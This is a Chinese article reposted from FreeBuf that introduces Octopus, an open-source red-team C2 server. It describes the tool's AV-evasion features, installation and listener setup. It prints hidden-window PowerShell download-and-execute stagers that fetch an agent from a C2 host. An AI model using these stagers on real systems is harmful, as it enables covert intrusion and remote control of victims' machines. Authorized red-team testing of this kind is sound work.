Octopus:专为红队设计的安全研究预操作C2服务器

admin 2022年6月18日10:12:06评论107 views字数 3155阅读10分31秒阅读模式

关于Octopus

Octopus是一款基于Python开发的开源工具,该工具可以通过HTTP/S控制Octopus Powershell代理。

Octopus的主要目的是帮助红队研究人员在对目标进行操作之前,先通过Octopus收集目标设备的信息,并对其执行渗透测试。

Octopus以一种非常简单的方式通过加密良好的通道执行命令并与C2交换信息,这种方式确保了几乎所有的AV、终端保护和网络监控方案都难以识别和探测到Octopus操作。

Octopus中有一个很酷的功能叫做ESA,它代表“端点态势感知”,它将收集有关目标的一些重要信息,帮助我们更好地了解在操作过程中将面对的目标网络端点,从而让我们能够根据这些信息定制实际操作方案。

Octopus的操作非常隐蔽,并且使用了AES-256作为PowerShell代理和C2服务器之间通信数据的加密算法。除此之外,我们还可以通过有效证书来配置Octopus C2服务器使用SSL/TLS。

Octopus关键功能

Octopus提供了许多功能,可以帮助红队研究人员在开始任务之前更好地了解目标的相关信息:

1、通过HTTP/S控制代理;

2、执行系统命令;

3、下载/上传文件;

4、加载外部PowerShell模块;

5、C2和代理之间使用AES-256加密信道;

6、使用了隐蔽的方法来执行命令和传输数据;

7、支持为每个目标创建自定义的监听器;

8、生成不同类型的Payload;

9、生成2.0或更高版本的PowerShell,支持所有版本的Windows;

10、在不需要触发powershell.exe进程的情况下执行Octopus Windows代理可执行程序;

11、自动从所有端点自动收集信息;

工具要求

下列命令可以安装Octopus所需的所有依赖组件:

pip install -r requirements.txt

如果使用的是Linux系统,则需要安装nasm、mingw-w64和mono-devel:

apt install nasm
apt install mingw-w64
apt install mono-devel

工具安装

首先,我们需要使用下列命令将该项目源码克隆至本地:

git clone https://github.com/mhaskar/Octopus/

接下来,使用下列命令安装Octopus所需的所有依赖组件:

pip install -r requirements.txt

最后,使用下列命令开启并运行Octopus服务器:

./octopus.py

此时,我们将看到如下所示的信息:

Octopus:专为红队设计的安全研究预操作C2服务器

工具使用

HTTP监听器

下列命令将运行一个名为operation1的监听器:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

上述命令将返回如下所示的结果:

Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off


Octopus >>

HTTPS监听器

Octopus >>listen_https
[-] Please check listener arguments !
Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off


Octopus >>

PowerShell代理生成

下列命令将针对operation1监听器生成一个代理:

generate_powershell operation1

此时,我们将看到如下所示的结果:

Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"


2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"


3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"


Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"


Hack your way in ;)
#====================


Octopus >>

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

项目地址

https://github.com/mhaskar/Octopus

参考资料

https://github.com/mhaskar/Octopus/issues

https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/

https://shells.systems/octopus-v1-0-stable-cobalt-strike-deployment-much-more

https://shells.systems/unveiling-octopus-the-pre-operation-c2-for-red-teamers/

Octopus:专为红队设计的安全研究预操作C2服务器

精彩推荐

Octopus:专为红队设计的安全研究预操作C2服务器
Octopus:专为红队设计的安全研究预操作C2服务器
Octopus:专为红队设计的安全研究预操作C2服务器
Octopus:专为红队设计的安全研究预操作C2服务器

原文始发于微信公众号(FreeBuf):Octopus:专为红队设计的安全研究预操作C2服务器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月18日10:12:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Octopus:专为红队设计的安全研究预操作C2服务器https://cn-sec.com/archives/1126090.html

发表评论

匿名网友 填写信息